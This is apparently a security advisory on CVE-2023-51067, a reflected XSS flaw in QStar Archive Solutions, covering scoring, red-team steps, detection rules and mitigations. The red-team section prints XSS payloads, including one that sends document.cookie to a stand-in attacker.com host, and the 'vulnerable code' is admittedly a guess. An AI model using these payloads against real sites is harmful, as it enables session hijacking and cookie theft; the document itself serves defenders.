CVE-2023-51067

Executive Summary

CVE-2023-51067 is an unauthenticated reflected cross-site scripting (XSS) vulnerability discovered in QStar Archive Solutions, specifically in the RELEASE_3-0 Build 7 version. The flaw allows an attacker to execute arbitrary JavaScript in a victim’s browser by crafting a malicious link. Since the vulnerability is unauthenticated and requires no prior access, it poses a significant risk to any user who clicks on a crafted URL. The vendor has not released a patch, leaving all installations of this build vulnerable.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone software product (QStar Archive Solutions) and does not involve package manager dependencies.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated. Based on the description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R)
• Scope (S): Changed (C)
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium – Exploitation requires user interaction, but the impact includes data theft and session hijacking.

Deep Dive & Mechanics

The vulnerability is a reflected XSS in QStar Archive Solutions RELEASE_3-0 Build 7. The application fails to sanitize user-supplied input in a URL parameter, allowing an attacker to inject arbitrary JavaScript. When a victim clicks a crafted link, the script executes in the context of the vulnerable application’s origin, enabling actions such as session cookie theft, redirection to malicious sites, or defacement.

The attack vector is simple: the attacker sends a link like http://target/qstar?param=<script>alert(1)</script> to the victim. The server reflects the payload without proper encoding, leading to script execution.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern. The vulnerable code likely looks like:

// Vulnerable PHP example
$param = $_GET['param'];
echo "<div>User input: " . $param . "</div>";

A patched version would use proper output encoding:

// Patched PHP example
$param = htmlspecialchars($_GET['param'], ENT_QUOTES, 'UTF-8');
echo "<div>User input: " . $param . "</div>";

Without a vendor patch, users must implement input validation and output encoding themselves.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running QStar Archive Solutions RELEASE_3-0 Build 7.
• A victim who clicks a crafted link.

Exploit Steps:

1. Identify a vulnerable parameter (e.g., q, search, page).
2. Craft a payload: <script>alert(document.cookie)</script>.
3. URL-encode the payload: %3Cscript%3Ealert(document.cookie)%3C/script%3E.
4. Send the link to the victim: http://target/vulnerable-page?param=%3Cscript%3Ealert(document.cookie)%3C/script%3E.
5. The victim’s browser executes the script, sending cookies to an attacker-controlled server.

Example Payload for Cookie Theft:

<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie;</script>

Blue Team

Detection:

• Monitor web server logs for unusual parameters containing <script>, onerror, javascript:, etc.
• Use WAF rules to block reflected XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search for requests with %3Cscript%3E or %3Cimg%20onerror%3D in URL parameters.
• Correlate with outbound connections to unknown IPs.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests containing <script> or onerror in URL parameters.
  • Outbound connections to attacker-controlled domains from the victim’s browser.
• Host:
  • Browser history showing URLs with encoded XSS payloads.
  • Temporary files or cookies exfiltrated via image requests.
• Logs:
  • Web server logs with alert, document.cookie, or fetch in query strings.

Detection Engineering

YARA Rule

rule CVE_2023_51067_XSS_Reflected {
    meta:
        description = "Detects reflected XSS attempts targeting QStar Archive Solutions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-51067"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /javascript\s*:\s*/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against QStar Archive Solutions
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential reflected XSS in HTTP requests to QStar Archive Solutions
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '<script'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of script tags in non-vulnerable parameters
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-51067 Reflected XSS Attempt"; flow:to_server; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Since no official patch exists, the following mitigations are recommended:

1. Input Validation: Sanitize all user inputs, especially URL parameters. Reject or encode characters like <, >, ", ', and &.
2. Output Encoding: Use context-appropriate encoding (e.g., HTML entity encoding) when reflecting user input.
3. Content Security Policy (CSP): Implement a strict CSP that disallows inline scripts and only allows trusted sources.
4. Web Application Firewall (WAF): Deploy a WAF with rules to block common XSS patterns.
5. User Education: Train users not to click suspicious links.
6. Vendor Contact: Reach out to QStar for a patch or upgrade to a newer build if available.

Valters IT
Securing Digital Frontiers